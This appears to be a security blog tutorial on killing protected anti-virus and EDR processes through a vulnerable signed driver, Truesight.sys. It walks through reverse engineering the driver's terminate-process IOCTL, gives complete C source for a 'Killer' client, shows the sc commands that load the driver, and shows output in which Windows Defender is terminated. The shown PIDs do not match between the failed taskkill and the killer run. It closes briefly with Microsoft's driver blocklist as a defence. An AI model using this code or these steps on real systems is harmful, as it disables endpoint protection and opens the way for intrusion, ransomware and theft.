This article is looking at terminating protected processes, such as those used by Anti-Virus and EDR agents.
Looking at the Windows Defender process (MsMpEng.exe) using Sysinternals Process Explorer, we can see it PPL Light protection enabled, since PsProtectedSignerAntiMalware-Light is listed in the protection column.

Even with administrative access to the host, you won’t be able to kill the process. When another process attempts to interact with the PPL protected process, the kernel will check the caller has an equal or higher protection level, and reject access if this isn’t the case.
To terminate these processes, we’re going to need access to the kernel.
Bring Your Own Vulnerable Driver (BYOVD) Attacks
BYOVD attacks occur when an adversary installs, and exploits a legitimate signed (but vulnerable) kernel mode driver. This provides the adversary with access to the systems kernel address space.
The loldrivers.io website provides a catalogue of known vulnerable drivers. We will be looking at the Truesight.sys driver that can be downloaded from here:
https://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398
On loading the driver, we can use SysInternals WinObj to determine it’s symbolic link (the handle we use to communicate with the driver). Unsurprisingly, it’s called “TrueSight”.

Open the vulnerable driver using Ghidra. Looking at the files imports, we can see it imports ZwTerminateProcess(). This is a kernel function for terminating processes.

Next, review the call tree for ZwTerminateProcess to determine where the code is being invoked from.

Navigating up the call stack, we can see values within the range of IOCTL’s, which then invoke the function calling ZwTerminateProcess.

An IOCTL of 0x22e044 would translate to the following:
DeviceType: 0x22 = FILE_DEVICE_UNKNOWN
Function: 0x811
Method: 0 = METHOD_BUFFERED
Access: 0 = FILE_ANY_ACCESS
In addition, we can infer from the code that the integer value being supplied to the function is likely the PID value to be terminated.

At this point, we know;
- The device symbolic link (TrueSight)
- The IOCTL that invokes ZwTerminateProcess (0x22e044)
- The IOCTL parameter, which is just the PID to be terminated
With this information gathered, we can write a client to generate the IOCTL request.
Writing an Exploit
The following code will send our IOCTL request to terminate a process by it’s PID.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED 0
#define FILE_ANY_ACCESS 0
#define IOCTL_KILL_PROCESS ((DWORD)0x22E044)
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: %s <PID> <kill>\n", argv[0]);
return 1;
}
char* endptr = NULL;
ULONG pid = strtoul(argv[1], &endptr, 10);
if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
printf("[-] Invalid PID: %s\n", argv[1]);
return 2;
}
DWORD ioctlCode = 0;
if (_stricmp(argv[2], "kill") == 0) {
ioctlCode = IOCTL_KILL_PROCESS;
}
else {
printf("[-] Invalid action: %s. Use 'kill'.\n", argv[2]);
return 3;
}
printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);
HANDLE hDevice = CreateFileA(
"\\\\.\\TrueSight",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 4;
}
printf("[+] IOCTL code: 0x%08X\n", ioctlCode);
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
ioctlCode,
&pid,
sizeof(pid),
NULL,
0,
&bytesReturned,
NULL
);
if (success) {
printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
}
else {
printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return success ? 0 : 5;
}
Killing Defender
Start the vulnerable driver using the service control command.
C:\Windows\System32>sc create TrueSight type= kernel binPath= C:\Truesight.sys
[SC] CreateService SUCCESS
C:\Windows\System32>sc start TrueSight
SERVICE_NAME: TrueSight
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
Next, attempt to kill Windows Defender using taskkill, which as expected fails.
C:\Users\user\source\repos\Killer\x64\Release>tasklist | findstr /i eng
MsMpEng.exe 3424 Services 0 103,184 K
C:\Users\user\source\repos\Killer\x64\Release>taskkill /pid 3424
ERROR: The process with PID 3424 could not be terminated.
Reason: Access is denied.
Running our killer.exe application, we can see the process is terminated.
C:\Users\user\source\repos\Killer\x64\Release>Killer.exe 5352 kill
[+] Sending 'kill' request for PID 5352 to driver...
[+] IOCTL code: 0x0022E044
[+] IOCTL sent successfully to kill PID 5352
C:\Users\user\source\repos\Killer\x64\Release>tasklist | findstr /i eng
Note, that the process may be restarted by a watchdog. If this is the case, the image name will have a different PID. Normally, the watchdog will only restart the process a number of times before giving up.
In Conclusion
Microsoft do maintain a vulnerable driver blocklist for recent versions of Windows. However, this will only take effect if the system either has Hypervisor-Protected Code Integrity (HVCI) enabled, or a Windows Defender Application Control (WDAC) blocklist configured.